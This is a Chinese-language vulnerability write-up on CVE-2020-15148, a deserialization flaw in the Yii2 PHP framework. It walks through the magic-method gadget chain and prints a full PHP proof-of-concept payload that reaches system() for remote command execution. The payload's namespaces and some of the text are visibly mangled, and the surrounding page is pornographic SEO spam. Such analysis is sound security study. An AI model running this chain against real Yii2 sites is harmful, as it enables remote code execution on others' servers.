国产成人精品久久免费动漫-国产成人精品天堂-国产成人精品区在线观看-国产成人精品日本-a级毛片无码免费真人-a级毛片毛片免费观看久潮喷

您的位置:首頁技術文章
文章詳情頁

CVE-2020-15148漏洞分析

瀏覽:213日期:2022-06-06 15:10:12
目錄
  • 基礎知識
    • Yii2
    • 魔術方法
  • 漏洞分析
    • 結(jié)語

      基礎知識

      在學習該漏洞之前我們需要學習一下前置知識來更好的理解該漏洞的產(chǎn)生原因以及如何利用。 我們先來學習一下框架的基本信息以及反序列化漏洞的基本利用過程。

      Yii2

      Yii是一個基于組件的高性能PHP框架,用于開發(fā)大型Web應用。Yii采用嚴格的OOP編寫,并有著完善的庫引用以及全面的教程。而CVE-2020-15148則是在其版本YII2.0.38之前的一個反序列化漏洞,該漏洞在調(diào)用unserialize時,攻擊者可通過構(gòu)造特定的惡意請求執(zhí)行任意命令,這也是常見的反序列化漏洞的利用過程。

      魔術方法

      提到PHP反序列化一定離不開魔術方法,這些方法通常會在達到一些特殊條件后就會執(zhí)行,舉個例子:

      __construct() //新建對象時調(diào)用

      我們編寫下面的代碼:

      當我們執(zhí)行時new了一個類,這就會調(diào)用里面的魔術方法,從而輸出語句。當然這只是最簡單的魔術方法,下面給大家一個列表來進行參考:

      了解完以上知識點后我們開始對該漏洞進行分析。

      漏洞分析

      首先我們要搭建環(huán)境,最好搭建在本地方便調(diào)試,源碼地址如下:

      搭建完后我們首先找到漏洞切入點,也就是可能存在威脅的地方,結(jié)合上面對魔術方法的分析在 /vendor/yiisoft/yii2/db/BatchQueryResult.php下找到了可能存在漏洞的點,因為里面有個魔術方法在對象銷毀時調(diào)用:

      __destruct()調(diào)用了reset()方法,方法里面的$this->_dataReader是可控的:

      public function reset(){if ($this->_dataReader !== null) {    $this->_dataReader->close();}

      于是思考接下來要如何利用,根據(jù)POC的構(gòu)造,假設我們將_dataReader變成類然后去調(diào)用close()方法,若類型沒有close()方法,同時還有__call魔術方法,則會調(diào)用該魔術方法。我們找到faker/src/Faker/Generator.php:里面存在call方法且調(diào)用了foemat方法:

      public function format($formatter, $arguments = array())    {return call_user_func_array($this->getFormatter($formatter), $arguments);    }

      跟進這里:

      $this->getFormatter($formatter)

      看到存在可控參數(shù):

      public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {     return $this->formatters[$formatter];}foreach ($this->providers as $provider) {    if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];    }}

      this−>formatters[this - > formatters[this−>formatters[formatter] 有值,就返回其值,回看一下會發(fā)現(xiàn)值為:

      $formatter="close",$arguments=空

      即返回的第一個參數(shù)是可控的,我們便可以調(diào)用任意的無參方法,這里找到/vendor/yiisoft/yii2/rest/CreateAction.php:

       public function run()    {if ($this->checkAccess) {    call_user_func($this->checkAccess, $this->id);}

      this−>checkAccess,this->checkAccess,this−>checkAccess,this->id是可控的,那么就可以執(zhí)行RCE。利用鏈如下:

      yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()

      這里貼一個大佬們的POC:

      <?phpnamespace yiirest{    class CreateAction{public $checkAccess;public $id;public function __construct(){    $this->checkAccess = "system";    $this->id = "phpinfo();";}    }}namespace Faker{    use yiirestCreateAction;    class Generator{protected $formatters;public function __construct(){    $this->formatters["close"] = [new CreateAction, "run"];}    }}namespace yiidb{    use FakerGenerator;    class BatchQueryResult{private $_dataReader;public function __construct(){    $this->_dataReader = new Generator;}    }}namespace{    echo base64_encode(serialize(new yiidbBatchQueryResult));}?>

      下面是傳入構(gòu)造好的payload對網(wǎng)站進行請求的結(jié)果,可以看到成功進行了命令執(zhí)行。

      結(jié)語

      今天給大家?guī)淼氖荂VE-2020-15148漏洞的簡單分析,整體看下來還是很簡單的,我們需要注意如何調(diào)用的魔術方法以及如何進行RCE,有興趣的小伙伴可以自己去搭建環(huán)境進行測試,喜歡本文的朋友希望可以一鍵三連支持一下。

      以上就是CVE-2020-15148漏洞分析的詳細內(nèi)容,更多關于CVE-2020-15148漏洞的資料請關注其它相關文章!

      標簽: PHP
      主站蜘蛛池模板: 亚洲国产欧美自拍 | 亚洲视频中文字幕在线观看 | 国产精品正在播放 | 一级做a爰片久久毛片16 | 国产精品成人观看视频免费 | 在线成人天天鲁夜啪视频 | 日本综合欧美一区二区三区 | 国产成人亚洲综合欧美一部 | 国产精品拍拍拍福利在线观看 | 日韩一区二区三区在线观看 | 国产精品成人免费视频 | 国产91丝袜在线播放九色 | 在线观看毛片视频 | 成人午夜影视全部免费看 | hd欧美xxx欧美极品hd | 国产三级日本三级日产三 | 国产精品成人亚洲 | 亚洲综合精品一二三区在线 | 亚洲 欧美 精品专区 极品 | 亚洲午夜网 | 中日韩美中文字幕 | 中文字幕99在线精品视频免费看 | 国产婷婷成人久久av免费高清 | 亚洲一区 中文字幕 久久 | 国产精品久久久久免费 | 性猛交毛片 | 久久99国产乱子伦精品免费 | 欧美特黄aaaaaaaa大片 | 久久国产精品一区二区三区 | 正在播放亚洲一区 | 在线播放波多野结衣 | 亚洲天堂在线观看视频 | 久草网在线观看 | 美女视频免费永久观看的 | 日韩专区欧美 | 久久99亚洲精品久久久久 | 久久精品国内偷自一区 | 亚洲一区中文 | 点击进入不卡毛片免费观看 | 日产毛片 | 久久视频在线播放视频99re6 |